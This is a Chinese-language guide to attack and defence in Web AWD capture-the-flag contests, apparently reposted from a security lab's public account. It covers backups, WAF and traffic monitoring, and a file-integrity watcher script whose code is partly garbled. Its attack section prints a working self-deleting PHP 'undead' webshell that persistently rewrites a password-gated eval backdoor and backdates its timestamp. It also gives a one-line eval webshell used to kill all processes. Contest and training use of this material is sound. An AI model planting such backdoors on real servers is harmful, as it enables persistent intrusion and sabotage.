AWD(Attack With Defense,攻防兼备)是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。
1.1 备份与恢复
备份是首要操作,有挺大的作用,首先,当被别人删源码和库时,可利用备份文件进行恢复,防down机被扣分。其次,快速找漏洞,用D盾扫描备份下来的源码看有没预留后门。最后,还能找到马的位置,当网站被种马以后,找不到马的位置,可重新备份文件和初始备份版本对比(beyond compare),看看差别。
1.1.1 网站备份与恢复
备份:
连接ssh( 常见ssh连接工具mobaXterm,xtfp,finalshell)
ssh -p ssh_port username@host_ip |
修改ssh密码
passwd |
网站源码压缩
cd /var/www/html tar -zcvf /tmp/xxx.tar.gz ./* |
下载到本地
scp -P ssh_port username@host_ip:/tmp/xxx.tar.gz local_file |
本地备份上传到靶机,/tmp目录下的文件如果没有被删除,这步就不用
scp -P local_file ssh_port username@host_ip:/tmp/xxx.tar.gz |
源码解压
tar -zxvf /tmp/xxx.tar.gz -C /var/www/html |
1.1.2 数据备份与恢复
数据库登录,数据库的账户密码,可在网站配置文件如config.php 里寻找
mysql –pdb_user –udb_passwd mysql>show databases; |
备份指定数据库,
mysqldump -udb_user -pdb_passwd db_name > /tmp/bak.sql |
下载到本地
scp -P ssh_port username@host_ip:/tmp/bak.sql local_file |
数据库登录
mysql -udb_user -pdb_passwd |
创建数据库
mysql>create database db_name; |
source 还原
mysql>use db_name; mysql>source /tmp/bak.sql |
mysql 还原
mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql |
1.2 脚本部署
1.2.1 WAF部署
部署WAF 来通防别人的攻击,来避免自己失分。主办方一般会禁止使用。
常见一些WAF工具:
https://github.com/leohearts/awd-watchbird https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF https://github.com/DasSecurity-Labs/AoiAWD
1.2.2 流量日志监控
对流量、日志分析,可以感知可能正在发生的攻击,从而规避存在的安全风险,还可以还原攻击者的攻击路径,从而挽回已经造成的损失。
主办方如果提供流量,可以直接用wireshark查看。也可以自己部署流量监控文件, 如weblogger工具:https://github.com/wupco/weblogger
批量包含文件命令
find /var/www/html/ -bashtype f -path "*.php" | xargs sed -i "s/<?php /<?phpnrequire_once('/tmp/waf.php');n/g" |
1.2.3 文件监控
通过监控网站的源码文件,得知此时文件的增删查改情况,分析攻击者的操作行为来应急响应。
Python文件监控脚本如下:
python# -*- coding: utf-8 -*- #use: python file_check.py ./ import os import hashlib import shutil import ntpath import time CWD = os.getcwd() FILE_MD5_DICT = {} # 文件MD5字典 ORIGIN_FILE_LIST = [] # 特殊文件路径字符串 Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'drops_log' # 免死金牌 UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"?%02x" # 文件路径字典 spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), }
def isListLike(value): return isinstance(value, (list, tuple, set)) # 获取Unicode编码 def getUnicode(value, encoding=None, noneToNull=False): if noneToNull and value is None: return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore") # 目录创建 def mkdir_p(path): import errno try: os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): passcur else: raise # 获取当前所有文件路径 def getfilelist(cwd): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files:cur originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist # 计算机文件MD5值 def calcMD5(filepath): try: with open(filepath,'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try: ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None) except KeyError, e: pass # 获取所有文件MD5 def getfilemd5dict(filelist = []): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict # 备份所有文件 def backup_file(filelist=[]): # if len(os.listdir(Special_path['bak'])) == 0: for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak']) if __name__ == '__main__': print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件 ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG print u'[*] pre work end!' while True: file_list = getfilelist(CWD) # 移除新上传文件 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) if len(diff_file_list) != 0: # import pdb;pdb.set_trace() for filepath in diff_file_list: try: f = open(filepath, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt')) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + 'n') f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) # 防止任意文件被修改,还原被修改文件 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try: f = open(filekey, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt')) shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + 'n') f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2) # print '[*] ' + getUnicode(time.ctime()) |
2.1 代码审计
网站源码常见为php类型,可使用Seay工具进行审计。经常会遇到一些预留的后门,可使用D盾检测利用。常见漏洞:命令执行、代码执行、SQL注入、文件操作漏洞等。
2.2 不死马
不死马是AWD比较常见的种马方式。
种不死马
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = 'admin.php'; $code = '<?php if(md5($_GET["pass"])=="3bf8d4b2d94742b03e7d08cdf1f32128"){@eval($_POST[a]);} ?>'; while (1){ if(md5(file_get_contents($file))!==md5($code)) { file_put_contents($file,$code); system('touch -m -d "2018-12-01 09:10:12" admin.php'); } usleep(1000); } ?> |
1.ignore_user_abort(true):函数设置与客户机断开是否会终脚本的执行。这里设置为true则忽略与⽤户的断开,即使与客户机断开脚本仍会执⾏。
2.set_time_limit() :函数设置脚本最执行时间。这里设置为0,即没有时间方面的限制。
3.unlink(__FILE__) :删除文件本身,以起到隐蔽自身的作用。
4. while:循环内每隔 usleep(1000) 即写新的后门文件
5.system(): 执行的命令用于修改文件件的创建或修改时间,可以绕过“find /var/www/html –name *.php –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。
杀不死马:
1.建立一个和不死马一样名字的文件夹,这样不死马就写不进去了。
rm -rf .2.php | mkdir .2.php |
2.杀进程得在root或者www-data权限下。如上传一句话,然后执行 system('kill -9 -1'); 杀死所有进程,再手动删除木马
shell.php: <?php @eval($_GET['9415']); ?> url访问:shell.php?9415=system('kill -9 -1'); |
3.用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值.
top 查看占用率最高的cpu进程 q 退出 M 根据驻留内存大小进行排序 P 根据CPU使用百分比大小进行排序 <?php while (1) { $pid = 不死⻢的进程PID; @unlink("c.php"); exec("kill -9 $pid"); usleep(1000); }?> |
4.重启 apache,php 等web服务(一般不会有权限)
2.3 批量脚本
当找到漏洞利用点时候,可写脚本批量利用获取flag。
平台都会提供一个提交flag的API接口,可修改如下脚本快速提交获取的flag。
def submit_flag(flag): host_url="http://192.168.1.200/api/v1/att_def/web/submit_flag/?event_id=10" data={ 'flag': flag, 'token': 'ksBQUu8GQQbNjMVvvYrVNufWWRctDrRSthGnn62uMQTW7' } print(data) try: r=requests.post(host_url,data=data) print(r.text) except Exception as e: print(e) |
原文始发于微信公众号(山石网科安全技术研究院):Web AWD竞赛的攻击与防御技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论